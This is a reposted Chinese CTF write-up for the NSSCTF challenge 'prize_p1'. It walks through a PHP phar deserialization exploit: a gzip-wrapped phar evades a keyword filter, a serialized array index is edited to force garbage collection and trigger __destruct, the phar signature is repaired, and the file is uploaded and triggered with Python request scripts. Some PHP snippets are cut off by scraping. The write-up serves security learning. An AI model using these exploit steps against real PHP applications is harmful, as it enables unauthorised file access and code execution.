我的编程空间,编程开发者的网络收藏夹
学习永远不晚

记一道CTF中的phar反序列化

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

记一道CTF中的phar反序列化

Author: takahashi

提要

        最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。

        思路上参考了atao, xenny两位师傅的WriteUp。 题目出的很棒, 学到了很多东西!

        平台: NSSCTF

        题目名:prize_p1

开始做题咯~

        打开环境, 映入眼帘的就是源码

config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {    die("我知道你想干吗,我的建议是不要那样做。");}unserialize($_GET[0]);throw new Error("那么就从这里开始起航吧");

        简单过一遍代码可以看到在倒数第二行有一个unserialize反序列化的函数,继续审计代码可以发现主要利用点在file_get_contents和file_put_contents两个函数上面。再往上看可以看到最终要打的内容, 通过getflag类中的__destruct魔术方法拿到flag。

        理完一遍思路之后重新审计一下代码

class A {    public $config;    function __destruct() {        if ($this->config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}

        通过config的值去控制文件读写, 审计一下正则发现基本上把伪协议都过滤了, 直接new getflag也不行,这种情况下十六进制类名也绕不了,再仔细审计一下发现虽然phar伪协议没有作限制。但是对类名作了过滤, 这个时候我就没什么思路了。

Phar混淆

        找了会儿资料但是没什么思路, 只能去求救大佬。 去问了个牛纸, 他给我推了篇文章, 大致原理就是用其他的压缩格式再对phar文件进行压缩达到混淆的效果, 部分压缩格式混淆过的phar内容同样可以直接被phar://伪协议解析。

事不宜迟, 写个脚本生成phar文件

startBuffering();    $phar->setStub("");    $phar -> setMetadata($a);    $phar->addFromString("1.txt", "123");     $phar->stopBuffering();?>

        然后用gzip压缩

        然后写个脚本上传一下

import requestsurl = ""phar = open("takahashi.phar.gz", "rb")sentData = {    0: phar.read()}phar.close()requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data=sentData)response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://./tmp/a.txt"})print(response.text)

        但是运行之后却没有flag, 本地调试的时候发现phar反序列化结束后会提前被最后一行的异常抛出给强行终止程序运行, 导致__destruct无法成功执行。

throw new Error("那么就从这里开始起航吧");

PHP强制GC绕过

        这一块实在是没什么思路去绕过, 于是参考了一下xenny和atao两位师傅的wp, 此处用的是xenny师傅的思路, 修改文件内容 -> 签名修复 -> 文件上传。

        atao师傅用的思路是上面文章里面的第二种方法, 这边就顺着我最初的思路延伸继续用gzip。atao师傅讲的也是真的不错, 对里面的内容进行了补充。

针对PHP的GC内容此处不多赘述, 如果对此知识点不是很熟悉可以看看这几篇文章:

php的垃圾回收机制(gc)_m313557552的博客-CSDN博客

php垃圾回收机制(gc)介绍

PHP垃圾回收机制(GC) - 欢乐豆123 - 博客园

构造一下替换的内容

        分析一下POC, 首先创建了一个有2个元素的数组, 序列化结果如下:

// 蓝色字体代表元素在数组中的位置, 红色字体代表元素值

a:2:{i:0;O:7:"getflag":0:{}i:1;i:1;}

使用替换函数后生成的结果如下

a:2:{i:0;O:7:"getflag":0:{}i:0;i:1;}

        可见第二个元素移动到了第一个元素的位置, O:7:"getflag":0:{}失去了引用, 被PHP强制回收从而销毁对象触发__destruct()魔术方法。

修复文件签名

        在二次复现时发现直接对文本内容修改然后用X尼师傅的脚本跑发现修复后的文件后八位值会改变, 建议重新生成phar文件然后用winhex或010等工具修改十六进制。

startBuffering();    $phar->setStub("");     $phar -> setMetadata($a);    $phar->addFromString("1.txt", "123");     $phar->stopBuffering();?>

        然后修复文件签名, 这边贴一下X尼师傅的脚本

from hashlib import sha1f = open('test.phar', 'rb').read()  # 修改内容后的phar文件s = f[:-28]  # 获取要签名的数据h = f[-8:]  # 获取签名类型以及GBMB标识newf = s+sha1(s).digest() + h  # 数据 + 签名 + 类型 + GBMBopen('takahashi.phar', 'wb').write(newf)  # 写入新文件

        修复后使用gzip压缩一下上传成功拿到flag。

import requestsurl = ""phar = open("test.phar.gz", "rb")requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data={0: phar.read()})phar.close()response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://tmp/a.txt"})response.encoding = "utf-8"print(response.text)

来源地址:https://blog.csdn.net/qq_53886354/article/details/126333147

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

记一道CTF中的phar反序列化

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

一文详解Java对象的序列化和反序列化

本文主要介绍了一文详解Java对象的序列化和反序列化,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
2023-05-16

PHP中的序列化和反序列化是什么

这篇“PHP中的序列化和反序列化是什么”文章,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要参考一下,对于“PHP中的序列化和反序列化是什么”,小编整理了以下知识点,请大家跟着小编的步伐一步一步的慢慢理解,接下来就让
2023-06-06

初探Golang中的序列化和反序列化方法

Golang序列化和反序列化的方法初探序列化和反序列化是计算机科学中常用的概念,指的是将数据结构或对象转换为一种可在网络上传输或存储的格式,以便在需要时能够重新获得原始数据结构或对象。在Golang中,提供了丰富的方法和库,使得序列化和反
初探Golang中的序列化和反序列化方法
2024-01-29

深入浅析Java中的序列化与反序列化

这篇文章将为大家详细讲解有关深入浅析Java中的序列化与反序列化,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Java 序列化和反序列化实例详解在分布式应用中,对象只有经过序列化才能在各个分
2023-05-31

Python中序列化与反序列化的示例分析

这篇文章将为大家详细讲解有关Python中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。初识序列化与反序列化什么是序列化?通俗一点来说,序列化就是将 对象的信息 或者 数据结构的
2023-06-29

如何使用Python中的序列化和反序列化

如何使用Python中的序列化和反序列化,需要具体代码示例序列化和反序列化是在数据存储和传输过程中非常重要的概念。在Python中,我们可以使用pickle模块来实现序列化和反序列化操作。本文将详细介绍如何使用Python中的pickle模
2023-10-22

Java中序列化与反序列化的示例分析

这篇文章将为大家详细讲解有关Java中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、前言序列化:将对象转换为二进制序列在网络中传输或保存到磁盘反序列化:从网络或磁盘中将二进制
2023-06-15

Java中序列化和反序列化的完整讲解

序列化是将对象转换成二进制字节流的过程;反序列化是从二进制字节流中恢复对象的过程。文中将为大家详细讲讲二者的原理与实现,需要的可以参考一下
2022-11-16

Golang中Json的序列化和反序列化怎么使用

这篇文章主要介绍“Golang中Json的序列化和反序列化怎么使用”,在日常操作中,相信很多人在Golang中Json的序列化和反序列化怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Golang中Js
2023-06-30

java中序列化与反序列化的作用是什么

Java中的序列化和反序列化是用来实现对象的持久化存储和网络传输的机制。序列化的作用:1. 对象持久化存储:将Java对象转换为字节流,可以将这些字节流保存到磁盘或数据库中,以便后续可以从中读取并恢复对象。2. 对象网络传输:将Java对象
2023-09-15

详解SpringBoot中时间类型的序列化与反序列化

这篇文章主要为大家详细介绍了SpringBoot中时间类型的序列化与反序列化的相关知识,文中的示例代码讲解详细,感兴趣的小伙伴可以了解一下
2023-02-02

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录